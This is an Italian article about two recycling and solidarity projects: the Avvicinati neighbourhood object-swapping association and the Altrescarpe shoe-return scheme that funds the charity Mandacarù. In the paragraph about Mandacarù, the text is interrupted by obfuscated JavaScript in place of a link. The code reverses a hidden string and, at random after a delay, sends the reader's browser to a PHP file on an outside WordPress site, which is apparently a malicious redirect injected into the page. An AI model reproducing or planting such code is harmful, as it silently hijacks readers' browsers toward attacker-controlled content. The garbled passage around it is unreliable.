Roba vecchia, sempre buona. Due idee di riciclo e solidarietà

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Sara Capolungo per l’Altracittà

Due semplici idee per migliorare noi stessi e aiutare gli altri, vicini o lontani.
La prima idea: ridurre i rifiuti e risparmiare coinvolgendo il vicinato. È sufficiente infatti mettere a disposizione degli altri gli oggetti ancora utilizzabili ma che non ci servono più: offri ciò che non usi e prendi quello che ti serve. L’idea è nata ad un gruppo di amici che ha deciso di creare un’associazione di promozione sociale, Avvicinati http://www.avvicinati.it, con la finalità di riciclare oggetti in disuso per favorire lo scambio in base anche alla vicinanza tra le persone e gli oggetti. Insomma, chi trova un vicino trova un tesoro, come recita lo slogan dell’associazione. Ma non si tratta né di un baratto né di una vendita, ma solo di un semplice e “sano” riciclo tra persone che cercano di darsi una mano per risparmiare e per ridurre l’impatto dei rifiuti sull’ambiente. Lo strumento principale utilizzato per lo scambio è stato individuato nel sito dell’associazione, centrato sulla geolocalizzazione degli utenti e degli oggetti, per favorire appunto lo scambio tra vicini. Per i più scettici o curiosi, è possibile vedere e toccare con mano il banco dello scambio e del dono, sabato 28 al circolo Arci Andreoni a Coverciano, dalle 15 alle 18.

La seconda idea: aiutare il Sud del Mondo con le nostre vecchie scarpe. Con il progetto “Non rottamo le mie scarpe”, promosso da Altrescarpe http://www.altrescarpe.it/, è infatti possibile innescare un circuito virtuoso che, partendo da scarpe non più usate, è possibile finanziare progetti sociali ed ambientali nei Paesi poveri. E con vantaggi per ognuno di noi. Il tutto in quattro semplice mosse.
Per prima cosa è necessario portare le calzature a Altrescarpe, il rivenditore italiano di scarpe ecologiche nate dalla creatività di Jesus Garcia, durante fiere o eventi (per scoprire le date e i luoghi http://www.altrescarpe.it/blog/dove-potete-incontrare-altrescarpe/). In questo modo si potrà ricevere in cambio uno sconto di 10 euro per acquistare un paio di Altrescarpe, prodotte con materiale naturale, a basso impatto ecologico e lavorate artigianalmente.
Il ricavato, infine, finanzierà progetti per il Sud del Mondo promossi da Mandacarù. Nata nel 1995, $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andacaru.info/index.html ” target=”_blank”>Mandacarù è una ONLUS che sostiene progetti per i Paesi poveri ma anche sul territorio bresciano, con l’obiettivo, in primis, di restituire ai più sfortunati quanto è stato loro sottratto con scelte politiche alimentate dal dilagare del consumismo, ma anche di contenere lo spreco evitando l’inesorabile intasamento di discariche e cassonetti, favorendo invece il riuso. E non a caso ha questo nome: Mandacarù è infatti un tipo di cactus di origine brasiliana che resta verde anche nei periodi di siccità. È un simbolo di resistenza per i contadini brasiliani che possono contare su questa risorsa alimentare, ed è quindi un piccolo segno di resistenza al “consumismo”.
È importante sapere però che il progetto “Non rottamo le mie scarpe” prevede un solo paio di scarpe da riciclare a testa: un eccesso di offerta squilibrerebbe la catena generando ingolfamenti e giacenze. Solo così il circuito virtuoso della solidarietà si chiude con vantaggi per tutti. Facendo ciascuno la sua parte, senza sprechi.

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